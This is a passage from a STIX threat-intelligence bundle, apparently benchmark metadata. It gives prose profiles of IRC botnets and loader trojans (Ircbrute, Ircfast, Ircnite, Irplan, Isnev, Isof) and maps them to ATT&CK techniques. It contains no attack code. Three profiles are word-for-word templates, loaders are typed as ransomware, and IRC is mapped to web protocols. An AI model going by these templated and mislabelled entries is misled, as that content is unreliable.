      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircbot exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ca26672d-059e-5cb4-b76f-ab293861ce26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ircbrute",
      "description": "Trojan:Win32/Ircbrute is a classification for a botnet agent or worm that combines the command-and-control (C2) infrastructure of an Internet Relay Chat (IRC) botnet with aggressive network brute-forcing capabilities. Once it infects a host, it connects to an attacker-controlled IRC channel to receive commands and simultaneously begins scanning the internet or local network to brute-force weak credentials on exposed services (like SSH, RDP, or SQL databases) to spread the infection further (`T1110.001`).<br><br><b>Understanding Ircbrute</b><br>To an end-user, an Ircbrute infection might manifest as slow network performance due to the aggressive scanning. For a network administrator, it represents a significant, 'loud' threat. The infected machine becomes an active attacker, generating massive amounts of outbound traffic as it attempts to compromise other systems, potentially leading to the organization's IP address being blacklisted by external security services.<br><br><b>Execution and Propagation Mechanics</b><br>Upon execution, Ircbrute establishes persistence (usually via Registry Run keys) and initiates an outbound TCP connection to a hardcoded IRC server (often on port 6667 or alternative ports to evade simple firewall rules). Once joined to the C2 channel (`T1071.001`), the bot receives a list of target IP ranges and a dictionary of common usernames and passwords. The malware then executes multi-threaded brute-force attacks (`T1110.001`) against services like SMB (TCP 445), RDP (TCP 3389), or MSSQL (TCP 1433). Upon a successful login, it uses tools like PsExec or WMI to copy itself to the new victim and execute, expanding the botnet.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is network congestion, participation in a botnet, and the compromise of other internal servers. Network IoCs are glaring: persistent outbound TCP connections to external IRC servers, coupled with massive spikes in outbound scanning and login attempts (Failed Login Events - Event ID 4625) targeting internal or external infrastructure. Host IoCs include the malware executable (often hidden in `%SystemRoot%` or `%Temp%`) and corresponding persistence mechanisms. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ircbrute",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ircbrute"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--224760da-f0d3-5e1e-9831-495676f08ab4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca26672d-059e-5cb4-b76f-ab293861ce26",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircbrute exhibits technique T1110.001 (Brute Force: Password Guessing (The primary propagation and attack mechanism))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36d89054-a91b-5ef9-8695-35331a8e234c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca26672d-059e-5cb4-b76f-ab293861ce26",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircbrute exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Using IRC for Command and Control))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcaba593-459c-57c5-b8f1-b81107e6af7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca26672d-059e-5cb4-b76f-ab293861ce26",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircbrute exhibits technique T1046 (Network Service Discovery (Scanning the network for vulnerable services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2500b529-8476-51c9-9ac7-9f5bf79aa233",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca26672d-059e-5cb4-b76f-ab293861ce26",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircbrute exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b6c6a1b0-083d-5b62-a38c-6c54008295a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ircfast",
      "description": "Worm/Trojan:Win32/Ircfast is a network worm and botnet agent that leverages the Internet Relay Chat (IRC) protocol for command and control. Prevalent during the peak era of IRC-based botnets, Ircfast is designed to compromise a system, self-propagate across network shares, and connect the infected host to an attacker-controlled chat channel to receive commands, typically for participating in Distributed Denial of Service (DDoS) attacks.<br><br><b>Understanding Ircfast (IRC Botnets)</b><br>To an end-user, an Ircfast infection might cause general system sluggishness and network latency. For a security team, it represents a noisy, highly disruptive infection. Unlike modern botnets that use Tor or encrypted HTTPS, IRC botnets are 'loud' (`T1071.001`), transmitting commands in cleartext over well-known ports, making them easier to detect but very difficult to eradicate once they gain a foothold in a flat network.<br><br><b>Execution and Propagation Mechanics</b><br>Ircfast spreads primarily by scanning the local subnet for open Windows administrative shares (IPC$, C$, ADMIN$) and attempting brute-force password guessing (`T1110.001`). Once it successfully copies itself (`T1105`) and executes on a new machine, it establishes persistence via the Registry Run keys. The malware then initiates a connection to a hardcoded IRC server (often on port 6667), joins a specific hidden channel, and waits for commands from the botmaster. These commands can instruct the bot to download additional malware, execute a UDP/TCP flood attack (`T1498`), or aggressively scan for new targets (`T1046`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is network congestion, participation in illegal DDoS activities, and potential data theft. Network IoCs are highly prominent: persistent outbound TCP connections to external IP addresses on port 6667 (or alternative IRC ports like 6660-6669), and massive spikes in outbound scanning traffic (TCP 135/445) as the worm attempts to spread. Host IoCs include unknown executables running from the Windows System32 directory and corresponding Registry persistence entries. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ircfast",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ircfast"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2f7f5af-a91f-5dfe-a722-fce6203147e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6c6a1b0-083d-5b62-a38c-6c54008295a1",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircfast exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Using IRC for Command and Control))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8afcc0a3-342a-50e5-be13-340d9a4749bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6c6a1b0-083d-5b62-a38c-6c54008295a1",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircfast exhibits technique T1110.001 (Brute Force: Password Guessing (Brute-forcing network shares to spread))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4a843b6-3f03-5b22-946d-585695cfeedd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6c6a1b0-083d-5b62-a38c-6c54008295a1",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircfast exhibits technique T1498 (Network Denial of Service (Executing DDoS commands on behalf of the botmaster))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2a1d8b5-c9dc-5efd-a8c8-cfe059c409bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6c6a1b0-083d-5b62-a38c-6c54008295a1",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircfast exhibits technique T1046 (Network Service Discovery (Aggressively scanning the local subnet for vulnerable hosts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ce3cd3e8-3e61-524f-ace0-844208d26e62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ircnite",
      "description": "Backdoor:Win32/Ircnite (often associated with older, legacy botnets) is a trojan that infects a system and connects it to a clandestine Internet Relay Chat (IRC) server to receive commands from a botmaster. While IRC botnets are considered 'old-school' compared to modern HTTP/HTTPS C2 infrastructure, they remain highly effective for orchestrating massive Distributed Denial of Service (DDoS) attacks and coordinating simple malware deployments.<br><br><b>Understanding Ircnite (IRC Botnets)</b><br>To an end-user, an Ircnite infection is typically invisible, unless the machine is actively participating in a DDoS attack, which would cause severe network sluggishness. For a security analyst, detecting IRC traffic (port 6667) originating from a standard user workstation\u2014especially if the organization does not legitimately use IRC for communication\u2014is an immediate, glaring indicator of compromise.<br><br><b>Execution and Command Mechanics</b><br>Ircnite is traditionally distributed via unpatched software vulnerabilities, malicious email attachments, or peer-to-peer (P2P) file sharing (`T1189`). Upon execution, the malware establishes persistence via the Registry Run keys (`T1547.001`). The core of the backdoor is an embedded IRC client. It silently connects to a hardcoded IRC server and joins a specific, hidden channel (`T1071.002`). The botmaster issues commands directly into the chat channel, which all connected bots (zombies) instantly execute. These commands typically include instructions to launch SYN floods or UDP floods against a target (`T1498`), download and execute further malware modules (`T1105`), or scan the local subnet for vulnerable machines (`T1046`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the enlistment of the host into a DDoS botnet, potentially exposing the organization's IP to blacklisting. Host-based IoCs are standard registry persistence mechanisms. Network IoCs are the most obvious: persistent, unencrypted outbound TCP connections on port 6667 (or non-standard ports configured for IRC) containing cleartext IRC protocol commands (e.g., `NICK`, `JOIN`, `PRIVMSG`) directed at unknown external servers. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ircnite",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ircnite"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1dad6ac-cc52-5456-8b02-c0ebbd38ae86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce3cd3e8-3e61-524f-ace0-844208d26e62",
      "target_ref": "attack-pattern--aa418889-2105-5889-96f6-4224121989df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircnite exhibits technique T1071.002 (Application Layer Protocol: File Transfer Protocol (and IRC))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4267e92a-16b4-51e0-9885-4899d6019997",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce3cd3e8-3e61-524f-ace0-844208d26e62",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircnite exhibits technique T1498 (Network Denial of Service (Launching DDoS attacks via IRC commands))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c36984fb-b963-53c1-bf8e-7807aa6d62ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce3cd3e8-3e61-524f-ace0-844208d26e62",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircnite exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--967bdc93-53b9-5fce-baf7-95e7e2f8ff99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce3cd3e8-3e61-524f-ace0-844208d26e62",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircnite exhibits technique T1105 (Ingress Tool Transfer (Downloading further payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bbc5ae5a-6fa7-535b-850d-fb8746b42bdf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Irplan",
      "description": "Trojan:Win32/Irplan is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Irplan</b><br>To an end-user, an Irplan infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Irplan is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Irplan is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Irplan frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Irplan reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Irplan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/irplan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e7305c5-b285-5ab4-9e53-7cfc66ff491c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bbc5ae5a-6fa7-535b-850d-fb8746b42bdf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Irplan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d55b6cfc-a602-5fc4-945c-a60df785ed5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bbc5ae5a-6fa7-535b-850d-fb8746b42bdf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Irplan exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8bf68d9a-38e8-5b02-9e1f-754c9401eb43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bbc5ae5a-6fa7-535b-850d-fb8746b42bdf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Irplan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--429ce3c6-ea80-5218-8309-cac5fc2f7075",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bbc5ae5a-6fa7-535b-850d-fb8746b42bdf",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Irplan exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--632e7a14-8670-53c1-82f3-b6054daf43f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bbc5ae5a-6fa7-535b-850d-fb8746b42bdf",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Irplan exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--99576977-e5dc-5e2c-a550-de2f69bc6fb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Isnev",
      "description": "Trojan:Win32/Isnev is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Isnev</b><br>To an end-user, a Isnev infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Isnev is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Isnev is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Isnev frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Isnev reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Isnev",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/isnev"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a987aa01-429e-5580-800b-4dda781b8cd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99576977-e5dc-5e2c-a550-de2f69bc6fb0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Isnev exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d1144e9-470c-5eb8-a561-b167d5990df1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99576977-e5dc-5e2c-a550-de2f69bc6fb0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Isnev exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00ada9d0-1dcd-5925-a73b-6355ab100bf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99576977-e5dc-5e2c-a550-de2f69bc6fb0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Isnev exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f7dd690-290f-5696-a012-1fdbd3c5bff2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99576977-e5dc-5e2c-a550-de2f69bc6fb0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Isnev exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--889402d3-e942-5f75-8aa7-32532eb8fdf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99576977-e5dc-5e2c-a550-de2f69bc6fb0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Isnev exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3594844f-5ac9-50f0-a3c4-6e6ca47d7b7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Isof",
      "description": "Trojan:Win32/Isof is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Isof</b><br>To an end-user, a Isof infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Isof is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Isof is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Isof frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Isof reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Isof",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/isof"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e053cbc-8de8-59ca-ba22-2d520d6434da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3594844f-5ac9-50f0-a3c4-6e6ca47d7b7c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Isof exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68544672-9453-5533-b5c1-bd69322d67c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3594844f-5ac9-50f0-a3c4-6e6ca47d7b7c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Isof exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e615f42e-e0b2-54fe-baab-292d7bd5787b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3594844f-5ac9-50f0-a3c4-6e6ca47d7b7c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Isof exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abc7f5c8-f0a2-5869-9b6c-e5d721053aaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3594844f-5ac9-50f0-a3c4-6e6ca47d7b7c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Isof exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00bb8422-e1c1-50c6-ae00-25e1db7c52fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3594844f-5ac9-50f0-a3c4-6e6ca47d7b7c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Isof exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1b91e201-3cf0-5bb9-ae63-95f6bdb0ef9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Istartsurf",
